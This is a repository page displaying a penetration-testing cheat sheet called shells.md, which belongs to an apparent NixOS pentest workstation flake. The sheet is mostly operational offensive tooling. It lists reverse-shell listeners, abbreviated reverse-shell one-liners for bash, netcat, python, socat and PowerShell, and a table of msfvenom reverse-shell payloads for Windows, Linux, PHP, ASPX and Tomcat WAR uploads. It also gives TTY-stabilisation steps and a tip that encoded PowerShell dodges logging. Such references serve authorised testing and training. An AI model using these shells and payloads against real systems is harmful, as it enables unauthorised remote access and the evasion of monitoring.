repositories

NixDaemon

NixOS pentest workstation as one flake — IceBreaker's successor

clonegit clone https://git.daemon-sec.xyz/NixDaemon.git
shells.mdMarkdown88 lines6.5 KiBsource raw download

shells — catch it, stabilise it, keep it#

Foothold plumbing: fire a listener, paste a one-liner, upgrade the dumb shell to a real TTY, then serve your privesc tools. Set $LHOST with myip and $TARGET with t <ip> first — most commands here default to them. Pivoting a shell through a proxy? cheat pivoting. Landing a Windows box? cheat nxc.

Point yourself at the box first#

Listen — catch the callback#

pwncat-cs -lp 4444              auto-stabilises the PTY, upload/download built in
socat file:`tty`,raw,echo=0 TCP-LISTEN:4444    catches a socat PTY shell (see revshell)
rlwrap nc -lvnp 4444            what `listen` runs under the hood

Reverse shell one-liners#

Variant Reach for it when
bash -i >& /dev/tcp/… target is Linux with real bash — the default
bash mkfifo /tmp/f … /dev/tcp is missing (dash/ash) — most reliable fallback
python3 -c '…pty.spawn…' python is present — lands a PTY already, half-upgraded
nc -e /bin/bash … only if this nc build has -e (rare on modern boxes)
socat …EXEC:'bash -li',pty… socat on target — fully stable shell, pair with the socat listener
php / ruby / groovy web/Jenkins RCE where that runtime is what's executing
powershell -enc <b64> Windows — base64 dodges quoting/logging noise; raw PS also printed

Serve & transfer to the target#

msfvenom payloads (when a one-liner won't do)#

type msfvenom payload file / drop where
exe windows/x64/shell_reverse_tcp rev.exe — Windows binary
elf linux/x64/shell_reverse_tcp rev.elf — Linux binary
php php/reverse_php rev.php — webroot / LFI
aspx windows/x64/shell_reverse_tcp rev.aspx — IIS upload
war java/jsp_shell_reverse_tcp rev.war — Tomcat manager deploy
ps1 windows/x64/shell_reverse_tcp (-f psh) rev.ps1 — AMSI may eat it
py cmd/unix/reverse_python rev.py
sh cmd/unix/reverse_bash rev.sh

Upgrade the dumb shell to a real TTY#

That raw nc shell has no tab-complete, no arrows, no Ctrl-C (it kills your shell, not the process), and sudo/ssh/vim break. Fix it:

# 1 — spawn a PTY on the target (first one that exists):
python3 -c 'import pty;pty.spawn("/bin/bash")'   # or python / script -q /dev/null /bin/bash / perl -e 'exec "/bin/bash"'
# 2 — on YOUR box: background, fix the terminal, foreground:
Ctrl-Z
stty raw -echo; fg
# 3 — back inside the shell, tell it what terminal it's on:
reset
export TERM=xterm-256color SHELL=/bin/bash
stty rows 50 cols 200        # match your window (shell-stable prints your real size)

Privesc — serve the PEAS, run the checks#

GTFOBins — break out of a restricted binary#

The fastest path to a stable shell: myip → listen 443 → revshell and pick the python3 PTY line → then shell-stable and paste its stty block. You're tab-completing in under a minute. Loot next: privesc-linux / cheat cracking.